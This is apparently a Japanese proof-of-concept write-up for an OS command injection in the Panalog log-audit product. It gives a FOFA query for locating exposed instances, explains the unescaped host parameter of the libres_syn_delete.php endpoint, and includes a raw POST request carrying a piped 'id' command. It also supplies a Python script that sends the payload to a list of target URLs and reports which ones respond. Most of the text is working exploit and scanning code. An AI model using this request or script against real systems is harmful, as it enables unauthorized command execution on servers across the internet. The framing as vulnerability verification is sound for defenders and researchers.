対象システムの概要
Panalogは、教育機関、行政、金融、医療、エネルギーなどの分野で導入されているビッグデータ基盤対応のログ監査ソリューションです。ネットワークトラフィックの記録保持、ユーザーのアクセス行動の監査、およびデータの収集・分析・統合を一元化し、組織のセキュリティ可視化を支援するプラットフォームとして運用されています。
資産検索クエリ
インターネット上に公開されている該当インスタンスを識別する場合、以下のFOFA検索構文が利用可能です。
app="Panabit-Panalog"
脆弱性検証手順
本脆弱性は、/content-apply/libres_syn_delete.phpエンドポイントにおいて、受信したパラメータ値が適切にエスケープ処理されず、バックグラウンドのシェル実行関数に直接渡されることによって発生します。攻撃者はhostパラメータにパイプ演算子を付与したOSコマンドを注入し、サーバー上で任意の処理を実行させることが可能です。
検証用のHTTPリクエスト構造は以下の通りです。
POST /content-apply/libres_syn_delete.php HTTP/1.1
Host: [対象ホスト名]
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 33
token=1&id=2&host=|id >111111.txt
リクエストが脆弱性を突いて正常に処理された場合、Webディレクトリ直下の/content-apply/に111111.txtが生成され、実行コマンドの出力結果が書き込まれます。ブラウザやcurlで同パスへアクセスし、ファイルの存在と内容を確認することで脆弱性の有無を判定できます。
自動検出スクリプト
複数のターゲットに対して検証ペイロードを投下し、応答パターンから脆弱性を判定するPython実装を以下に示します。ファイル読み込み、HTTP通信、レスポンス解析を分離し、エラーハンドリングとタイムアウト制御を強化しています。
#!/usr/bin/env python3
import argparse
import sys
import requests
from pathlib import Path
ENDPOINT_PATH = "/content-apply/libres_syn_delete.php"
VERIFY_PAYLOAD = "token=1&id=2&host=|id > /dev/null"
DEFAULT_HEADERS = {
"User-Agent": "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)",
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded",
"Connection": "close"
}
def read_target_list(file_path: str) -> list:
target_file = Path(file_path)
if not target_file.is_file():
sys.exit(f"[!] 指定されたファイル '{file_path}' が存在しません。")
return [line.strip() for line in target_file.read_text(encoding="utf-8").splitlines() if line.strip()]
def probe_target(raw_url: str) -> bool:
normalized_url = raw_url if raw_url.startswith(("http://", "https://")) else f"http://{raw_url}"
request_url = f"{normalized_url}{ENDPOINT_PATH}"
try:
http_resp = requests.post(
request_url,
headers=DEFAULT_HEADERS,
data=VERIFY_PAYLOAD,
timeout=5,
verify=False
)
if http_resp.status_code == 200:
try:
payload_result = http_resp.json()
return payload_result.get("code") == 200 or "success" in str(payload_result).lower()
except ValueError:
return bool(http_resp.text) and len(http_resp.text) > 0
except requests.RequestException as conn_err:
print(f"[-] 接続タイムアウトまたはエラー ({normalized_url}): {conn_err}")
return False
def main():
arg_parser = argparse.ArgumentParser(description="Panalog特定エンドポイントのコマンドインジェクション検出モジュール")
arg_parser.add_argument("-f", "--file", required=True, help="検証対象URLが記載されたテキストファイル")
parsed_args = arg_parser.parse_args()
target_hosts = read_target_list(parsed_args.file)
print(f"[*] 検証対象数: {len(target_hosts)}")
detected_hosts = []
for idx, host_entry in enumerate(target_hosts, 1):
sys.stdout.write(f"\r[*] 進行状況: {idx}/{len(target_hosts)} - {host_entry}")
sys.stdout.flush()
if probe_target(host_entry):
detected_hosts.append(host_entry)
print(f"\n[+] 脆弱性確認: {host_entry}")
print("\n[*] スキャン完了")
if detected_hosts:
print("[+] 検出リスト:")
for vulnerable in detected_hosts:
print(f" - {vulnerable}")
if __name__ == "__main__":
requests.packages.urllib3.disable_warnings()
main()
スクリプトは引数として指定されたテキストファイルからURLを逐次読み込み、各ターゲットに対して検証用POSTリクエストを送信します。HTTPステータスコードの整合性およびレスポンスボディの内容を評価し、条件に合致するホストを標準出力に表示します。